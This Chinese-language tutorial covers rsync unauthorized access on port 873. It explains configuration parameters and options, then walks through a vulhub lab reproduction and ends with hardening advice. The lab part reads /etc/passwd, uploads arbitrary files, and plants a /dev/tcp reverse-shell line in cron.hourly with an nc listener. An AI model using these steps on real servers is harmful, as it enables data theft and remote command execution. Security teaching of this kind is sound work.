1. 漏洞简介#
rsync 是 Linux/Unix 下的一个远程数据同步工具,可以在堕胎主机上同步文件和目录。默认运行在 873 端口。由于配置不当,导致任何人可未授权访问 rsync,上传本地文件,下载服务器文件。
rsync 未授权访问带来的危害主要有两个:
- 一是造成了严重的信息泄露
- 二是上传脚本后门文件,远程命令执行
2. rsync 配置文件#
参数 | 说明 |
---|---|
uid | 此参数指定与该模块之间的文件传输的用户名或用户 ID |
gid | 此参数指定在访问模块时将使用的一个或多个组名称 / ID |
use chroot | 若为 true,则 rsync 在传输文件之前首先 chroot 到 path 参数所指定的目录下。这样做的原因是实现额外的安全防护,但是缺点是需要 root 权限,并且不能备份指向 path 外部的符号连接所指向的目录文件 |
max connections | 指定该模块的最大并发连接数量以保护服务器,超过限制的连接请求将被告知随后再试 |
syslog facility | 指定 rsync 发送日志消息给 syslog 时的消息级别 |
pid file | rsync 的守护进程将其 PID 写入指定的文件 |
log file | 指定 rsync 守护进程的日志文件,而不将日志发送给 syslog |
path | 指定当前模块在 rsync 服务器上的同步路径,该参数是必须指定的 |
comment | 给模块指定一个描述,该描述连同模块名在客户连接得到模块列表时显示给客户 |
read only | 指定是否允许客户上传文件。若为 true 则不允许上传;若为 false 并且服务器目录也具有读写权限则允许上传 |
auth users | 指定验证用户名,可以不设置,不设置默认不用密码,设置的话安全性更高点 |
secrets file | 指定密码文件,如果设定验证用户,这一项必须设置,设定密码权限为 400 |
hosts allow | 设置可以允许访问的主机,可以是网段,多个 Ip 地址用空格隔开 |
3. rsync 常用命令#
-a, --archive 归档模式,表示以递归方式传输文件,并保持所有文件属性,等价于 -rlptgoD (注意不包括 -H)
-v, --verbose 详细输出模式
-r, --recursive 对子目录以递归模式处理
-l, --links 保持软链接文件,加上这个参数,同步过来的文件会保持之前的软链接属性不变
-H, --hard-links 保持硬链接文件
-p, --perms 保持文件权限
-t, --times 保持文件时间信息
-g, --group 保持文件属组信息
-o, --owner 保持文件属主信息 (super-user only)
-D 保持设备文件和特殊文件 (super-user only)
-e, --rsh=COMMAND 指定替代 rsh 的 shell 程序
-z, --compress 在传输文件时进行压缩处理
--stats 给出某些文件的传输状态
--progress 在传输时显示传输过程
--timeout=TIME 同步过程中,IP超时时间,单位为秒
--exclude=PATTERN 指定同步时需要过滤掉的文件或子目录(即不需要同步过去的),后面直接跟不需要同步的单个文件名或子目录(不需要跟路径) ,过滤多个文件或子目录,就使用多个--exclude
--exclude-from=FILE 指定同步时需要过滤掉的文件或子目录,后面跟文件(比如/root/exclue.txt),然后将不需要同步的文件和子目录放到/root/exclue.txt下
--include=PATTERN 指定需要传输的文件匹配模式
--include-from=FILE 从 FILE 中读取包含规则
--copy-unsafe-links 拷贝指向SRC路径目录树以外的链接文件
--safe-links 忽略指向SRC路径目录树以外的链接文件(默认)
--existing 仅仅更新那些已经存在于接收端的文件,而不备份那些新创建的文件
--ignore-existing 忽略那些已经存在于接收端的文件,仅备份那些新创建的文件
-b, --backup 当有变化时,对目标目录中的旧版文件进行备份
--backup-dir=DIR 与 -b 结合使用,将备份的文件存到 DIR 目录中
--link-dest=DIR 当文件未改变时基于 DIR 创建硬链接文件
--delete 删除那些目标目录中有而源目录中没有的多余文件。这个是rsync做增量方式的全备份的最佳选择方案!!!!!
--delete-before 接受者在输出之前进行删除操作。即先将目标目录中文件全部删除,再将源目录文件拷贝过去。这是rsync保持目标目录跟源目录一致的方案!!!
--delete-after 在同步操作之后做比较,删除那些目标目录中有而源目录中没有的多余文件
--delete-excluded 删除目标目录中那些被该选项指定排除的文件
--ignore-errors 即使出现 I/O 错误也进行删除
--partial 保留那些因故没有完全传输的文件,以是加快随后的再次传输
-P 等价于 --partial --progress
--delay-updates 将正在更新的文件先保存到一个临时目录(默认为 “.~tmp~”),待传输完毕再更新目标文件
-q, --quiet 精简输出模式
-h, --human-readable 输出文件大小使用易读的单位(如,K,M等)
-n, --dry-run 显示哪些文件将被传输
--list-only 仅仅列出文件而不进行复制
--rsyncpath=PROGRAM 指定远程服务器上的 rsync 命令所在路径
--password-file=FILE 从 FILE 中读取口令,以避免在终端上输入口令,通常在 cron 中连接 rsync 服务器时使用
--version 打印版本信息
--port=PORT 指定其他的rsync服务端口
--log-format=formAT 指定日志文件格式
--password-file=FILE 从FILE中得到密码
--bwlimit=KBPS 限制I/O带宽,KBytes per second
--help 显示帮助信息
-4, --ipv4 使用 IPv4
-6, --ipv6 使用 IPv6
4. 漏洞复现#
4.1 靶场搭建#
使用 vulhub 靶场来复现该漏洞
wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip
unzip vulhub-master.zip
cd vulhub-master/rsync/common
sudo docker-compose up -d
4.2 nmap 扫描目标系统是否开放 rsync 服务#
用 nmap 来扫描目标系统是否开放 rsync 服务和漏洞扫描
sudo nmap -p 873 192.168.110.128
sudo nmap -p 873 --script rsync-list-modules 192.168.110.128
4.3 列出目标服务器的同步目录#
用 rsync 命令列出和查看服务器的同步目录
rsync 192.168.110.128::
rsync rsync://192.168.110.128:873/src
rsync 192.168.110.128::src
4.4 任意文件下载#
可以下载 /etc/passwd 文件
sudo rsync -av 192.168.110.128::src/etc/passwd ./
4.5 任意文件写入#
向服务器上传文件
sudo touch 1.txt && sudo chmod 777 1.txt && echo "test" >> 1.txt
sudo rsync -av 1.txt rsync://192.168.110.128:873/src/1.txt
rsync rsync://192.168.110.128:873/src
4.6 利用任意文件写入、下载功能来 getshell#
sudo rsync rsync://192.168.110.128:873/src/etc/crontab ./
sudo touch shell && sudo chmod 777 shell && echo "/bin/bash -i >& /dev/tcp/192.168.110.128/8888" >> shell
rsync -av shell rsync://192.168.110.128:873/src/etc/cron.hourly
nc -lvp 8888
5. 漏洞修复#
- 更改 rysnc 默认配置文件 /etc/rsyncd.conf,添加或修改参数:
- 访问控制;设置 host allow,限制允许访问主机的 IP。
- 权限控制;设置 read only,将模块设置成只读。
- 访问认证;设置 auth、secrets,认证成功才能调用服务。
- 模块隐藏;设置 list,将模块隐藏。